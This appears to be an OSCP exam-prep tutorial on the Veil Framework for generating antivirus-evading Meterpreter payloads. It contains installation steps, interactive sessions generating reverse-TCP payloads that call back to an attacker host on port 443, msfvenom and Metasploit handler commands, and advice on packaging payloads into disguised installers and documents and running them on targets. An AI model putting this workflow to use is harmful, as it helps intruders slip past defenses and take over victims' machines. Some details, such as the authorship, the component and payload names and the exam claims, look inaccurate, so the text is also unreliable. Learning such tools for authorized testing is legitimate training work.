Veil Framework
What is Veil?
Veil is a framework designed to generate malware payloads that bypass modern AV solutions. It was created by Chris Truncer and Dave Kennedy (TrustedSec). Unlike msfvenom, which produces easily detectable payloads, Veil uses advanced evasion techniques to produce executables that slip past signature-based and many heuristic-based antivirus engines.
Veil consists of two main components:
| Component | Purpose |
|---|---|
| Veil-Evasion | Generates AV-evasive Meterpreter and other payloads in multiple languages (Python, C, PowerShell, etc.) |
| Veil-Odin | Packages generated payloads into delivery mechanisms (MSI installers, PDFs, Office docs, etc.) |
Key insight: Veil-Evasion creates the payload; Veil-Odin wraps it for delivery. Think of Evasion as the “engine” and Odin as the “packaging”.
Installation and Setup
Veil requires Python 2.7 (legacy requirement) and must be installed on Kali Linux or a compatible environment:
# Clone Veil from GitHub
git clone https://github.com/Veil-Framework/Veil.git /opt/Veil
# Run the setup script (installs dependencies)
cd /opt/Veil/setup
./setup_kali.sh
# Verify installation
/opt/Veil/Veil.py
Dependencies installed automatically:
- Metasploit Framework (for payload integration)
- Python modules (pycrypto, requests, etc.)
- MSFVenom (bundled or system-level)
- Various compiler toolchains (for C payloads)
OSCP Note: On the exam VM, Veil may already be pre-installed. Verify with
veilor check/opt/Veil/. If not present, you can install it — but budget 10-15 minutes for setup.
Veil-Evasion Payloads
Veil-Evasion offers multiple payload types. Here are the most important ones for OSCP:
| Payload | Language | Description | OSCP Relevance |
|---|---|---|---|
python/meterpreter/rev_tcp |
Python | Reverse TCP Meterpreter compiled with PyInstaller | HIGH — Most reliable, widely used |
c/meterpreter/rev_tcp |
C | Reverse TCP Meterpreter compiled with custom obfuscation | HIGH — Small binary, good evasion |
c/meterpreter/rev_tcp_aev |
C | Reverse TCP with Advanced Evasion (code virtualization) | MEDIUM — Best evasion, larger size |
c/meterpreter/rev_https_aev |
C | Reverse HTTPS with Advanced Evasion | MEDIUM — Encrypted channel + evasion |
powershell/meterpreter/rev_tcp |
PowerShell | PowerShell-based reverse TCP | LOW — AMSI/Constrained Language may block |
autoinject/meterpreter/rev_tcp |
C | Auto-injecting payload into a target process | HIGH — Process injection technique |
Why Python payloads are the go-to for OSCP:
- Reliable generation — PyInstaller compiles consistently
- Good evasion — Works against most default AV configurations on the exam
- Easy to transfer — Single executable, no complex delivery needed
- Fast — Generation takes 30-60 seconds
How to Use Veil (Interactive Session)
Step-by-step workflow:
# Launch Veil
/opt/Veil/Veil.py
# Or simply:
veil
Interactive session example:
Veil v3.1.13
[1] Veil-Evasion
[2] Veil-Odin
[q] Quit
Please choose an option: 1
[1] python/meterpreter/rev_tcp - Python Meterpreter Reverse TCP
[2] c/meterpreter/rev_tcp - C Meterpreter Reverse TCP
[3] c/meterpreter/rev_tcp_aev - C Meterpreter Reverse TCP (Advanced Evasion)
[4] c/meterpreter/rev_https_aev - C Meterpreter Reverse HTTPS (Advanced Evasion)
[5] powershell/meterpreter/rev_tcp - PowerShell Meterpreter Reverse TCP
[6] autoinject/meterpreter/rev_tcp - Autoinject Meterpreter Reverse TCP
Please choose a payload: 1
Options for python/meterpreter/rev_tcp:
LHOST: [10.10.14.5]
LPORT: [443]
ListenerType: [multi_handler]
Please choose an option (or 'back' or 'quit'): LHOST 10.10.14.23
Please choose an option (or 'back' or 'quit'): LPORT 443
Please choose an option (or 'back' or 'quit'): generate
[*] Generating payload...
[*] Compiling with PyInstaller...
[+] Output: /opt/Veil/output/12345.exe
[+] Size: 3.2 MB
Setting up the Metasploit listener:
# In a separate terminal, start the handler
msfconsole -q
use multi/handler
set LHOST 10.10.14.23
set LPORT 443
set PAYLOAD windows/meterpreter/reverse_tcp
exploit -j
Critical: The Metasploit
PAYLOADmust match the Veil payload type. Veil’spython/meterpreter/rev_tcpuseswindows/meterpreter/reverse_tcpon the listener side.
Veil Evasion Techniques
Veil uses multiple layers of obfuscation to evade antivirus detection:
1. Code Virtualization
- Transforms native machine code into custom bytecode
- A virtual machine interpreter executes the bytecode at runtime
- Effect: Signature scanners cannot recognize known malware patterns
- Used in
*_aev(Advanced Evasion) payloads
2. String Encryption
- All sensitive strings (IPs, ports, URLs) are encrypted in the binary
- Strings are decrypted at runtime in memory
- Effect: String-based AV signatures fail to match
3. API Hashing
- Instead of storing API function names (e.g.,
VirtualAllocEx) in the import table - Veil computes hashes of API names and resolves them dynamically at runtime
- Effect: Import table analysis by AV shows no suspicious API references
4. Custom Packing
- Veil uses its own packer (not UPX, not standard packers)
- Payload is compressed and encrypted with a custom algorithm
- Effect: Common packer signatures (UPX, ASPack, etc.) do not trigger
5. Template Injection
- Payloads are injected into clean, legitimate-looking binary templates
- The template provides a “clean” PE structure
- Effect: Heuristic analysis sees a normal executable structure
Veil-Odin: Payload Packaging
Veil-Odin wraps your generated payload into delivery mechanisms:
Veil menu > Choose option: 2 (Veil-Odin)
[1] MSI Installer
[2] PDF Embedding
[3] Office Document
[4] Icon Customization
MSI Installer Generation
# Odin will ask for:
# - Path to the Veil-generated executable
# - Product name, description, version
# - Output directory
[*] Generating MSI installer...
[+] Output: /opt/Veil/output/payload.msi
PDF Embedding
- Embeds the payload as a JavaScript action in a PDF
- Requires Adobe Reader with JavaScript enabled
- OSCP relevance: Low — modern Adobe blocks this by default
Icon Customization
- Replaces the executable icon with a legitimate-looking one
- Useful for social engineering (e.g., making it look like a Word doc)
OSCP Reality Check: Veil-Odin is rarely needed on the exam. The raw
.exefrom Veil-Evasion is sufficient. Focus on getting the payload generated and transferred.
Veil vs. Msfvenom
| Feature | Msfvenom | Veil |
|---|---|---|
| AV Detection | High — easily flagged by default AV | Low — designed to bypass AV |
| Generation Speed | Instant (1-2 seconds) | Slower (30-120 seconds) |
| Evasion Techniques | Basic encoding (shikata_ga_nai, etc.) | Advanced (virtualization, API hashing, custom packing) |
| Payload Size | Small (few KB) | Larger (1-5 MB) |
| Reliability | Payload works, but gets caught | Payload works AND evades AV |
| Setup Complexity | Pre-installed on Kali | Requires installation |
| OSCP Use Case | Quick testing, no AV targets | Targets with AV enabled |
Why encoding is NOT enough:
# This msfvenom payload will be DETECTED:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.23 LPORT=443 -e x86/shikata_ga_noi -i 3 -f exe -o payload.exe
# Modern AV detects encoded msfvenom payloads immediately.
# Veil's multi-layer approach is required for actual evasion.
Limitations and Current Status
Important caveats for OSCP students:
-
Veil is unmaintained — The project has not been actively updated since ~2018. Python 2.7 dependency is a major issue.
-
Not guaranteed to work — Modern AV (Windows Defender with real-time protection, EDR solutions) may still detect Veil payloads. It works best against:
- Default Windows Defender (no cloud protection)
- Older AV products
- Targets where cloud-based detection is disabled
-
Python 2.7 requirement — Many modern Kali installations default to Python 3. You may need to set up a Python 2.7 environment.
-
Alternatives to consider on OSCP:
- Custom C payloads with manual compilation and obfuscation
- Donut — For .NET payload generation (more modern)
- Sliver — Modern C2 framework with better evasion
- Manual shellcode injection — Most reliable but time-consuming
-
Exam reality: On OSCP, Veil works against the exam VMs’ AV configurations in most cases. If Veil fails, fall back to:
- Disabling AV (if you have admin)
- Using a different port (80, 443, 8443)
- Generating a new payload (sometimes a fresh compile works)
Practical OSCP Tips
Quick Veil workflow for the exam:
# 1. Start Metasploit handler FIRST (so it's ready)
msfconsole -q -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 10.10.14.23; set LPORT 443; exploit -j"
# 2. Generate Veil payload
veil
# Select: 1 (Veil-Evasion)
# Select: 1 (python/meterpreter/rev_tcp)
# Set LHOST, LPORT
# generate
# 3. Transfer the .exe from /opt/Veil/output/ to the target
# Use: SMB share, Python HTTP server, or direct copy
# 4. Execute on target and catch the session
Troubleshooting checklist:
| Problem | Solution |
|---|---|
| Veil won’t start | Check Python 2.7: python2 --version. Run ./setup_kali.sh again |
| PyInstaller fails | Install: pip2 install pyinstaller. Check disk space |
| Payload generated but no session | Verify Metasploit listener is running. Check firewall on target |
| AV still catches payload | Try c/meterpreter/rev_tcp_aev instead. Try different port |
| Generation takes too long | Python payloads are fastest. C payloads take longer to compile |
msfvenom not found |
Veil needs msfvenom in PATH: which msfvenom |
Pro tips:
- Always use port 443 or 80 — These are least likely to be blocked by firewalls
- Generate the payload BEFORE the exam room if possible — saves time
- Keep a backup payload — Generate both a Python and C payload as fallback
- Test locally first — Drop the payload on your own Windows VM to verify it works
- Use
sysinfoimmediately after getting a session to confirm it’s working - If Veil is not installed on the exam VM, you can install it — but have a fallback plan (manual shellcode, Donut, etc.)
Sample Veil session (abbreviated):
$ veil
Veil v3.1.13
[1] Veil-Evasion
[2] Veil-Odin
[q] Quit
Please choose an option: 1
[1] python/meterpreter/rev_tcp
[2] c/meterpreter/rev_tcp
[3] c/meterpreter/rev_tcp_aev
[4] c/meterpreter/rev_https_aev
[5] powershell/meterpreter/rev_tcp
[6] autoinject/meterpreter/rev_tcp
Please choose a payload: 1
Options for python/meterpreter/rev_tcp:
LHOST: [10.10.14.5]
LPORT: [443]
Please choose an option: LHOST 10.10.14.23
Please choose an option: generate
[*] Generating payload...
[*] Running PyInstaller...
[+] Output: /opt/Veil/output/20260831_143022.exe
[+] Size: 3.4 MB
[+] MD5: a1b2c3d4e5f6...
Please choose an option: quit
Summary
Veil remains a valuable tool for OSCP despite being unmaintained. Its multi-layer evasion approach (virtualization, API hashing, string encryption, custom packing) produces payloads that bypass default AV configurations on exam targets. Master the python/meterpreter/rev_tcp payload as your primary choice, with c/meterpreter/rev_tcp_aev as your advanced fallback. Always have your Metasploit listener ready before generating, and test your payload before the exam if time permits.